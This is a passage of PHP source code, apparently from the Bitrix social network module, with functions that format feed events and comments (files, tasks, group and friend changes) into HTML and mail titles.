						500
					);
				else
					$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
						$parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow),
						500
					);

				$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort($arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);
			}
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatComment_PhotoAlbum($arFields, $arParams, $bMail = false, $arLog = array())
	{
	
		$arResult = array(
			"EVENT_FORMATTED"	=> array(
				"TITLE" => ($bMail || $arParams["USE_COMMENT"] != "Y" ? GetMessage("SONET_GL_COMMENT_TITLE_PHOTO_ALBUM") : ""),
				"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
			),
		);

		if ($bMail)
		{
		}
		elseif($arParams["USE_COMMENT"] != "Y")
		{
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);
		}

		if ($bMail)
		{

		}
		else
		{
			static $parserLog = false;
			if (CModule::IncludeModule("forum"))
			{
				$arAllow = array(
					"HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y",
					"IMG" => "Y", "LOG_IMG" => "N",
					"QUOTE" => "Y", "LOG_QUOTE" => "N",
					"CODE" => "Y", "LOG_CODE" => "N",
					"FONT" => "Y", "LOG_FONT" => "N",
					"LIST" => "Y",
					"SMILES" => "Y",
					"NL2BR" => "Y",
					"MULTIPLE_BR" => "N",
					"VIDEO" => "Y", "LOG_VIDEO" => "N",
					"USERFIELDS" => $arFields["UF"],
					"USER" => ($arParams["IM"] == "Y" ? "N" : "Y")
				);

				if (!$parserLog)
					$parserLog = new forumTextParser(LANGUAGE_ID);

				$parserLog->arUserfields = $arFields["UF"];
				$parserLog->pathToUser = $parserLog->userPath = $arParams["PATH_TO_USER"];
				$parserLog->bMobile = ($arParams["MOBILE"] == "Y");
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), $arAllow));
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = preg_replace("/\[user\s*=\s*([^\]]*)\](.+?)\[\/user\]/is".BX_UTF_PCRE_MODIFIER, "\\2", $arResult["EVENT_FORMATTED"]["MESSAGE"]);
			}
			else
			{
				$arAllow = array(
					"HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y",
					"IMG" => "Y", "LOG_IMG" => "N",
					"QUOTE" => "Y", "LOG_QUOTE" => "N",
					"CODE" => "Y", "LOG_CODE" => "N",
					"FONT" => "Y", "LOG_FONT" => "N",
					"LIST" => "Y",
					"SMILES" => "Y",
					"NL2BR" => "Y",
					"MULTIPLE_BR" => "N",
					"VIDEO" => "Y", "LOG_VIDEO" => "N"
				);

				if (!$parserLog)
					$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);

				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));
			}
		}

		return $arResult;
	}
	
	public static function FormatEvent_Files($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED" => array(),
		);

		if (!$bMail)
			$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);

		if (
			!$bMail
			&& array_key_exists("URL", $arFields)
			&& strlen($arFields["URL"]) > 0
		)
		{
			if (
				$arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP 
				&& (
					IsModuleInstalled("extranet")
					|| (strpos($arFields["URL"], "#GROUPS_PATH#") !== false)
				)
			)
			{
				$arFields["URL"] = str_replace("#GROUPS_PATH#", COption::GetOptionString("socialnetwork", "workgroups_page", "/workgroups/", SITE_ID), $arFields["URL"]);
				$arResult["EVENT"]["URL"] = $arFields["URL"];
			}
			$file_tmp = '<a href="'.$arFields["URL"].'">'.$arFields["TITLE"].'</a>';
		}
		else
			$file_tmp = $arFields["TITLE"];

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_FILE_MAIL");
		else
		{
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_FILE");

			switch ($arFields["CREATED_BY_PERSONAL_GENDER"])
			{
				case "M":
					$suffix = "_M";
					break;
				case "F":
					$suffix = "_F";
					break;
				default:
					$suffix = "";
			}
			$title_tmp_24 = GetMessage("SONET_GL_EVENT_TITLE_FILE_24".$suffix);
		}

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($file_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		if ($arParams["MOBILE"] == "Y")
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE_24" => GetMessage("SONET_GL_EVENT_TITLE_FILE_24_MOBILE"),
				"MESSAGE" => $arFields["MESSAGE"]
			);
		else
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE" => ($bMail ? $title : ""),
				"MESSAGE_TITLE_24" => $title_tmp_24,
				"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
			);

		if (!$bMail)
			$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = true;

		$arResult["HAS_COMMENTS"] = "N";
		if (
			intval($arFields["SOURCE_ID"]) > 0
			&& array_key_exists("PARAMS", $arFields)
			&& strlen($arFields["PARAMS"]) > 0
		)
		{
			$arFieldsParams = explode("&", $arFields["PARAMS"]);
			if (is_array($arFieldsParams) && count($arFieldsParams) > 0)
			{
				foreach ($arFieldsParams as $tmp)
				{
					list($key, $value) = explode("=", $tmp);
					if ($key == "forum_id")
					{
						$arResult["HAS_COMMENTS"] = "Y";
						break;
					}
				}
			}
		}

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arFields);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}

		if (!$bMail)
		{
			$dbRight = CSocNetLogRights::GetList(array(), array("LOG_ID" => $arFields["ID"]));
			while ($arRight = $dbRight->Fetch())
				$arRights[] = $arRight["GROUP_CODE"];

			$arResult["EVENT_FORMATTED"]["DESTINATION"] = CSocNetLogTools::FormatDestinationFromRights($arRights, array_merge($arParams, array("CREATED_BY" => $arFields["USER_ID"])), $iMoreCount);
			if (intval($iMoreCount) > 0)
				$arResult["EVENT_FORMATTED"]["DESTINATION_MORE"] = $iMoreCount;
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatComment_Files($arFields, $arParams, $bMail = false, $arLog = array())
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
				"EVENT_FORMATTED"	=> array(),
			);

		if ($bMail)
		{
			$arResult["CREATED_BY"] = CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail);
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arLog, $arParams, $bMail);
		}
		elseif($arParams["USE_COMMENT"] != "Y")
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);

		if (
			!$bMail
			&& array_key_exists("URL", $arLog)
			&& strlen($arLog["URL"]) > 0
		)
			$file_tmp = '<a href="'.$arLog["URL"].'">'.$arLog["TITLE"].'</a>';
		else
			$file_tmp = $arLog["TITLE"];

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_FILE_COMMENT_MAIL");
		else
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_FILE_COMMENT");

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($file_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => ($bMail || $arParams["USE_COMMENT"] != "Y" ? $title : ""),
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
		);

		if (!$bMail)
		{
			$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
			$arAllow = array(
				"HTML" => "Y",
				"ANCHOR" => "Y",
				"BIU" => "Y",
				"IMG" => "Y",
				"QUOTE" => "Y",
				"CODE" => "Y",
				"FONT" => "Y",
				"LIST" => "Y",
				"SMILES" => "Y",
				"NL2BR" => "N",
				"VIDEO" => "Y",
				"LOG_VIDEO"	=> "N",
				"SHORT_ANCHOR" => "Y"
			);
			$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));
		}

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arLog);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	public static function FormatEvent_Task($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED" => array(),
		);

		if (!$bMail)
			$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);

		if (
			!$bMail
			&& array_key_exists("URL", $arFields)
			&& strlen($arFields["URL"]) > 0
		)
			$task_tmp = '<a href="'.$arFields["URL"].'">'.$arFields["TITLE"].'</a>';
		else
			$task_tmp = $arFields["TITLE"];

		$title_tmp = str_replace(
			"#TITLE#",
			$task_tmp,
			$arFields["TITLE_TEMPLATE"]
		);

		if ($bMail)
			$title = str_replace(
				array("#TASK#", "#ENTITY#", "#CREATED_BY#"),
				array($title_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
				GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_TASK_MAIL")
			);
		else
			$title = $title_tmp;

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"MESSAGE" => ($bMail ? str_replace(array("<nobr>", "</nobr>"), array("", ""), $arFields["TEXT_MESSAGE"]) : $arFields["MESSAGE"])
		);

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arFields);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatEvent_Task2($arFields, $arParams)
	{
		if (CModule::IncludeModule('tasks'))
		{
			return \Bitrix\Tasks\Integration\SocialNetwork\UI\Task::formatFeedEntry($arFields, $arParams);
		}

		return false;
	}

	public static function FormatEvent_SystemGroups($arFields, $arParams, $bMail = false)
	{
		global $arSocNetLogGroups;

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => array(),
			"ENTITY" => array(),
			"EVENT_FORMATTED" => array(),
		);

		if (
			$arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_USER
			&& intval($arFields["ENTITY_ID"]) > 0
		)
		{
			$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($arFields["ENTITY_ID"], $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

			if ($bMail)
			{
				if (
					strlen($arFields["USER_NAME"]) > 0
					|| strlen($arFields["USER_LAST_NAME"]) > 0
				)
					$arResult["ENTITY"]["FORMATTED"] = $arFields["USER_NAME"]." ".$arFields["USER_LAST_NAME"].$suffix;
				else
					$arResult["ENTITY"]["FORMATTED"] = $arFields["USER_LOGIN"].$suffix;

				$arResult["ENTITY"]["TYPE_MAIL"] = GetMessage("SONET_GL_EVENT_ENTITY_U");
			}
			else
			{
				$arFieldsTooltip = array(
					"ID" => $arFields["ENTITY_ID"],
					"NAME" => $arFields["~USER_NAME"],
					"LAST_NAME" => $arFields["~USER_LAST_NAME"],
					"SECOND_NAME" => $arFields["~USER_SECOND_NAME"],
					"LOGIN" => $arFields["~USER_LOGIN"],
				);
				$arParams["NAME_TEMPLATE"] .= $suffix;
				$arResult["CREATED_BY"]["TOOLTIP_FIELDS"] = CSocNetLogTools::FormatEvent_FillTooltip($arFieldsTooltip, $arParams);

				if (!$bMail)
					$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams, "USER_");
			}
		}

		if (intval($arFields["MESSAGE"]) > 0)
		{
			if (!is_array($arSocNetLogGroups))
				$arSocNetLogGroups = array();

			if (array_key_exists($arFields["MESSAGE"], $arSocNetLogGroups))
				$arGroup = $arSocNetLogGroups[$arFields["MESSAGE"]];
			else
			{
				$rsGroup = CSocNetGroup::GetList(
					array("ID" => "DESC"),
					array(
						"ID" => $arFields["MESSAGE"],
						"ACTIVE" => "Y"
					)
				);
				$arGroup = $rsGroup->GetNext();
			}

			if ($arGroup)
			{
				if (!array_key_exists($arGroup["ID"], $arSocNetLogGroups))
				{
					$arSocNetLogGroups[$arGroup["ID"]] = $arGroup;
					if(defined("BX_COMP_MANAGED_CACHE"))
						$GLOBALS["CACHE_MANAGER"]->RegisterTag("sonet_group_".$arGroup["ID"]);
				}

				$suffix = (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arFields["MESSAGE"], $GLOBALS["arExtranetGroupID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

				if ($bMail)
					$group_tmp = $arGroup["NAME"].$suffix;
				else
				{
					$url = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_GROUP"], array("group_id" => $arFields["MESSAGE"]));
					$group_tmp = '<a href="'.$url.'">'.$arGroup["NAME"].$suffix.'</a>';
				}

				if ($bMail)
					$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_GROUPS_".strtoupper($arFields["TITLE"])."_MAIL");
				else
				{
					$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_GROUPS_".strtoupper($arFields["TITLE"]).(strlen(trim($arFields["USER_PERSONAL_GENDER"])) > 0 ? "_".$arFields["USER_PERSONAL_GENDER"] : ""));
					$title_tmp_24 = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_GROUPS_".strtoupper($arFields["TITLE"])."_24".(strlen(trim($arFields["USER_PERSONAL_GENDER"])) > 0 ? "_".$arFields["USER_PERSONAL_GENDER"] : ""));
				}

				$title = str_replace(
					array("#GROUP_NAME#", "#ENTITY#"),
					array($group_tmp, $arResult["ENTITY"]["FORMATTED"]),
					$title_tmp
				);

				if ($bMail)
					$arResult["EVENT_FORMATTED"] = array(
						"TITLE" => $title,
						"MESSAGE" => false
					);
				else
				{
					switch ($arFields["TITLE"])
					{
						case "group":
							$classname = "join-group";
							break;
						case "exclude_user":
						case "ungroup":
							$classname = "leave-group";
							break;
						default:
							$classname = "";
					}

					$arResult["EVENT_FORMATTED"] = array(
						"TITLE" => false,
						"TITLE_24" => $title_tmp_24,
						"MESSAGE" => $title,
						"IS_MESSAGE_SHORT" => true,
						"DESTINATION" => array(
							array(
								"STYLE" => "sonetgroups",
								"TITLE" => $group_tmp
							)
						),
						"STYLE" => $classname
					);
				}
			}
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	public static function FormatEvent_SystemFriends($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array();
		$bActiveUsers = false;

		if (intval($arFields["MESSAGE"]) > 0)
		{
			$dbUser = CUser::GetByID($arFields["MESSAGE"]);
			if ($arUser = $dbUser->Fetch())
			{
				if(defined("BX_COMP_MANAGED_CACHE"))
					$GLOBALS["CACHE_MANAGER"]->RegisterTag("USER_NAME_".intval($arUser["ID"]));

				$messageUserID = $arFields["MESSAGE"];

				if (
					$arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_USER 
					&& intval($arFields["ENTITY_ID"]) > 0
				)
				{ 
					$dbUser2 = CUser::GetByID($arFields["ENTITY_ID"]);
					if ($arUser2 = $dbUser2->Fetch())
					{
						if(defined("BX_COMP_MANAGED_CACHE"))
							$GLOBALS["CACHE_MANAGER"]->RegisterTag("USER_NAME_".intval($arUser2["ID"]));

						$secondUserID = $arFields["ENTITY_ID"];
						$bActiveUsers = true;
					}
				}
			}
		}

		if ($bActiveUsers)
		{
			$arResult = array(
				"EVENT" => $arFields,
				"CREATED_BY" => array(),
				"ENTITY" => array(),
				"EVENT_FORMATTED" => array(),
			);

			$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($secondUserID, $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

			if ($bMail)
			{
				if (strlen($arFields["USER_NAME"]) > 0 || strlen($arFields["USER_LAST_NAME"]) > 0)
					$arResult["ENTITY"]["FORMATTED"] = $arFields["USER_NAME"]." ".$arFields["USER_LAST_NAME"].$suffix;
				else
					$arResult["ENTITY"]["FORMATTED"] = $arFields["USER_LOGIN"].$suffix;

				$arResult["ENTITY"]["TYPE_MAIL"] = GetMessage("SONET_GL_EVENT_ENTITY_U");
			}
			else
			{
				$arFieldsTooltip = array(
					"ID" => $secondUserID,
					"NAME" => $arFields["~USER_NAME"],
					"LAST_NAME" => $arFields["~USER_LAST_NAME"],
					"SECOND_NAME" => $arFields["~USER_SECOND_NAME"],
					"LOGIN" => $arFields["~USER_LOGIN"],
				);
				$oldNameTemplate = $arParams["NAME_TEMPLATE"];
				$arParams["NAME_TEMPLATE"] .= $suffix;
				$arResult["CREATED_BY"]["TOOLTIP_FIELDS"] = CSocNetLogTools::FormatEvent_FillTooltip($arFieldsTooltip, $arParams);
				$arParams["NAME_TEMPLATE"] = $oldNameTemplate;

				if (!$bMail)
					$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams, "USER_");
			}

			$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($messageUserID, $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");
			$user_tmp = '';

			if ($bMail)
			{
				$user_tmp .= (
					strlen($arUser["NAME"]) > 0
					|| strlen($arUser["LAST_NAME"]) > 0
						? $arUser["NAME"]." ".$arUser["LAST_NAME"].$suffix
						: $arUser["LOGIN"].$suffix
				);
			}
			else
			{
				$ajax_page = $GLOBALS["APPLICATION"]->GetCurPageParam("", array("bxajaxid", "logout"));

				$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($messageUserID, $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

				$oldNameTemplate = $arParams["NAME_TEMPLATE"];
				$arParams["NAME_TEMPLATE"] .= $suffix;

				$anchor_id = RandString(8);

				$user_tmp .= '<span class="" id="anchor_'.$anchor_id.'">'.CUser::FormatName($arParams["NAME_TEMPLATE"], $arUser, ($arParams["SHOW_LOGIN"] != "N" ? true : false)).'</span>';
				$user_tmp .= '<script type="text/javascript">';
				$user_tmp .= 'BX.tooltip('.$arUser["ID"].', "anchor_'.$anchor_id.'", "'.CUtil::JSEscape($ajax_page).'");';
				$user_tmp .= '</script>';
					
				$arParams["NAME_TEMPLATE"] = $oldNameTemplate;					
			}

			if ($bMail)
				$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_FRIENDS_".strtoupper($arFields["TITLE"])."_MAIL");
			else
			{
				$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_FRIENDS_".strtoupper($arFields["TITLE"]).(strlen(trim($arFields["USER_PERSONAL_GENDER"])) > 0 ? "_".$arFields["USER_PERSONAL_GENDER"]: ""));
				$title_tmp_24 = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_FRIENDS_".strtoupper($arFields["TITLE"])."_24".(strlen(trim($arFields["USER_PERSONAL_GENDER"])) > 0 ? "_".$arFields["USER_PERSONAL_GENDER"] : ""));
			}

			$title = str_replace(
				array("#USER_NAME#", "#ENTITY#"),
				array($user_tmp, $arResult["ENTITY"]["FORMATTED"]),
				$title_tmp
			);

			if ($bMail)
			{
				$arResult["EVENT_FORMATTED"] = array(
					"TITLE" => $title,
					"MESSAGE" => false
				);

				$friends_page = COption::GetOptionString("socialnetwork", "friends_page", false, SITE_ID);
				if (strlen($friends_page) > 0)
				{
					$arFields["URL"] = str_replace(array("#user_id#", "#USER_ID#"), $secondUserID, $friends_page);
					$arResult["EVENT_FORMATTED"]["URL"] = CSocNetLogTools::FormatEvent_GetURL($arFields);
				}
			}
			else
			{
				switch ($arFields["TITLE"])
				{
					case "friend":
						$classname = "join-group";
						break;
					case "unfriend":
						$classname = "leave-group";
						break;
					default:
						$classname = "";
				}

				$arResult["EVENT_FORMATTED"] = array(
					"TITLE" => false,
					"TITLE_24" => $title_tmp_24,
					"MESSAGE" => $title,
					"IS_MESSAGE_SHORT" => true,
					"DESTINATION" => array(
						array(
							"STYLE" => "users",
							"TITLE" => $user_tmp,
							"URL" => str_replace(array("#user_id#", "#USER_ID#", "#id#", "#ID#"), $arFields["MESSAGE"], $arParams["~PATH_TO_USER"])
						)
					),
					"STYLE" => $classname
				);
			}
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	public static function FormatEvent_System($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => array(),
			"ENTITY" => array(),
			"EVENT_FORMATTED" => array(),
		);

		if (intval($arFields["ENTITY_ID"]) > 0)
		{
			$suffix = (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arFields["ENTITY_ID"], $GLOBALS["arExtranetGroupID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");
			if ($bMail)
			{
				$arResult["ENTITY"]["FORMATTED"] = $arFields["GROUP_NAME"].$suffix;
				$arResult["ENTITY"]["TYPE_MAIL"] = GetMessage("SONET_GL_EVENT_ENTITY_G");
			}
			elseif (strpos($arFields["MESSAGE"], ",") > 0)
				$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);
		}

		if (in_array($arFields["TITLE"], array("moderate", "unmoderate", "join", "unjoin")))
		{
			if (strpos($arFields["MESSAGE"], ",") !== false)
			{
				$arResult["CREATED_BY"] = false;
				$arGroup = array(
					"IMAGE_ID" => $arFields["GROUP_IMAGE_ID"]
				);
				$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatarGroup($arGroup, $arParams); // group avatar
			}
			else
			{
				$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($arFields["MESSAGE"], $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

				$dbUser = CUser::GetByID($arFields["MESSAGE"]);
				if ($arUser = $dbUser->Fetch())
				{
					$arFieldsTooltip = array(
						"ID" => $arUser["ID"],
						"NAME" => $arUser["NAME"],
						"LAST_NAME" => $arUser["LAST_NAME"],
						"SECOND_NAME" => $arUser["SECOND_NAME"],
						"LOGIN" => $arUser["LOGIN"],
					);
					$oldNameTemplate = $arParams["NAME_TEMPLATE"];
					$arParams["NAME_TEMPLATE"] .= $suffix;
					$arResult["CREATED_BY"]["TOOLTIP_FIELDS"] = CSocNetLogTools::FormatEvent_FillTooltip($arFieldsTooltip, $arParams);
					$arParams["NAME_TEMPLATE"] = $oldNameTemplate;

					if (!$bMail)
						$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arUser, $arParams, "");
				}
			}
		}
		else
		{
			$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($arFields["USER_ID"], $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

			$arFieldsTooltip = array(
				"ID" => $arFields["USER_ID"],
				"NAME" => $arFields["~CREATED_BY_NAME"],
				"LAST_NAME" => $arFields["~CREATED_BY_LAST_NAME"],
				"SECOND_NAME" => $arFields["~CREATED_BY_SECOND_NAME"],
				"LOGIN" => $arFields["~CREATED_BY_LOGIN"],
			);
			$oldNameTemplate = $arParams["NAME_TEMPLATE"];
			$arParams["NAME_TEMPLATE"] .= $suffix;
			$arResult["CREATED_BY"]["TOOLTIP_FIELDS"] = CSocNetLogTools::FormatEvent_FillTooltip($arFieldsTooltip, $arParams);
			$arParams["NAME_TEMPLATE"] = $oldNameTemplate;

			if (!$bMail)
				$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams, "CREATED_BY_");
		}

		if (strlen($arFields["MESSAGE"]) > 0)
		{
			$arUsersID = explode(",", $arFields["MESSAGE"]);

			$bFirst = true;
			$count = 0;
			$user_tmp = "";

			if ($bMail)
			{
				$dbUser = CUser::GetList(
					($by="last_name"),
					($order="asc"),
					array(
						"ID" => implode(" | ", $arUsersID)
					)
				);
				while($arUser = $dbUser->Fetch())
				{
					$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($arUser["ID"], $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

					$count++;
					if (!$bFirst)
						$user_tmp .= ", ";

					if (
						strlen($arUser["NAME"]) > 0
						|| strlen($arUser["LAST_NAME"]) > 0
					)
						$user_tmp .= $arUser["NAME"]." ".$arUser["LAST_NAME"].$suffix;
					else
						$user_tmp .= $arUser["LOGIN"].$suffix;

					$bFirst = false;
				}
			}
			else
			{
				$ajax_page = $GLOBALS["APPLICATION"]->GetCurPageParam("", array("bxajaxid", "logout"));
				$dbUser = CUser::GetList(
					($by="last_name"),
					($order="asc"),
					array(
						"ID" => implode(" | ", $arUsersID)
					),
					array("FIELDS" => array("ID", "NAME", "LAST_NAME", "SECOND_NAME", "LOGIN", "PERSONAL_GENDER"))
				);
				while($arUser = $dbUser->Fetch())
				{
					if (defined("BX_COMP_MANAGED_CACHE"))
						$GLOBALS["CACHE_MANAGER"]->RegisterTag("USER_NAME_".intval($arUser["ID"]));

					$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($arUser["ID"], $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

					$count++;
					if (!$bFirst)
						$user_tmp .= ", ";

					$oldNameTemplate = $arParams["NAME_TEMPLATE"];
					$arParams["NAME_TEMPLATE"] .= $suffix;

					$anchor_id = RandString(8);

					if ($arParams["MOBILE"] == "Y")
						$user_tmp .= '<a href="'.str_replace(array("#user_id#", "#USER_ID#", "#id#", "#ID#"), $arUser["ID"], $arParams["~PATH_TO_USER"]).'">'.CUser::FormatName($arParams["NAME_TEMPLATE"], $arUser, ($arParams["SHOW_LOGIN"] != "N" ? true : false)).'</a>';
					else
					{
						$user_tmp .= '<a class="" id="anchor_'.$anchor_id.'" href="'.str_replace(array("#user_id#", "#USER_ID#", "#id#", "#ID#"), $arUser["ID"], $arParams["~PATH_TO_USER"]).'">'.CUser::FormatName($arParams["NAME_TEMPLATE"], $arUser, ($arParams["SHOW_LOGIN"] != "N" ? true : false)).'</a>';
						$user_tmp .= '<script type="text/javascript">';
